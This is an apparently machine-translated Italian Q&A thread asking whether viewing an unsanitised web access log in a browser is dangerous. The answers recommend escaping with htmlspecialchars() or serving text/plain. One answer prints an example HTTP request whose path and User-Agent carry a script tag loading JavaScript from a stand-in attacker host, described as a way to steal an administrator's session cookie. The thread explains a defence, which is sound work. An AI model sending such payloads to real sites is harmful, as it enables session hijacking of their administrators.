2009-06-26 6 views
5

È pericoloso visualizzare il registro di accesso senza disinfettare tramite browser web?È pericoloso visualizzare il registro di accesso senza disinfettare tramite browser web?

Sto considerando di registrare il registro di accesso e sto pensando di visualizzarlo tramite il browser wev, ma se l'attaccante modifica il suo host o agente utente remoto o qualcosa del genere, può attaccarmi?

Inserendo codice di attacco nel suo host remoto o user agent o ect.

Quindi ho bisogno per sanificare da htmlspecialchar prima di aprire il file di log di accesso tramite browser web?

intendo attaccante inserire del codice attaccare nel suo host remoto o user agent o someware, poi vedo che log di accesso tramite browser web, quindi il mio PC sarà influenzato quel codice.

risposta

3

probabilmente vuoi un po 'la formattazione HTML per l'uscita e quindi devono sterilizzare/codificare i dati di log. Ma per il bene degli argomenti: se si invia l'output come testo/plain il client non dovrebbe analizzare alcun html/javascript.
E.g. l'output di

<?php 
header('Content-type: text/plain; charset=utf-8'); 
echo '<script>alert(document.URL);</script>';
viene visualizzato come
<script>alert(document.URL);</script>
(almeno in FF3, IE8, opera, safari).

+1

sì, grazie. Quindi è meglio che crei l'estensione del file di registro come "txt", quindi sono al sicuro. –

+0

Intendo "log.txt" è sicuro, ma "log.html" è pericoloso. –

+0

se "log.txt" è davvero la soluzione perché la domanda è contrassegnata come "php php5"? – VolkerK

4

Teoricamente è possibile, sì, e si dovrebbe lodare te stesso per avere la mentalità giusta per pensare in questo modo. Sanificare qualsiasi input non controllato prima di visualizzarlo in un browser Web è sempre una buona idea.

vorrei correre l'output del registro attraverso htmlspecialchars().

5

Sì, questo è pericoloso.

Ad esempio, un utente malintenzionato può semplicemente chiedere qualcosa di simile:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1 
Host: www.example.com 
Connection: close 
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script> 

e compromettere la vostra pagina di visualizzazione con JavaScript dannoso.

Dal momento che probabilmente stai visualizzazione del registro sul tuo sito, devi essere loggato come un account con diritti amministrativi. Con il codice JavaScript dannoso, l'attaccante può rubare il cookie di sessione e prendere in consegna la sessione, completo di tutte le cose che potete fare mentre si è connessi.

Quindi, in conclusione, si dovrebbe sicuramente pagine di registro accesso di fuga, a meno che ti piace avere i tuoi account amministrativi compromessi.

+0

Sì. Ho visto tentativi di questo tipo nei log del mio server, quindi ho disinfettato gli script prima di visualizzarne una parte in una pagina web. –

Problemi correlati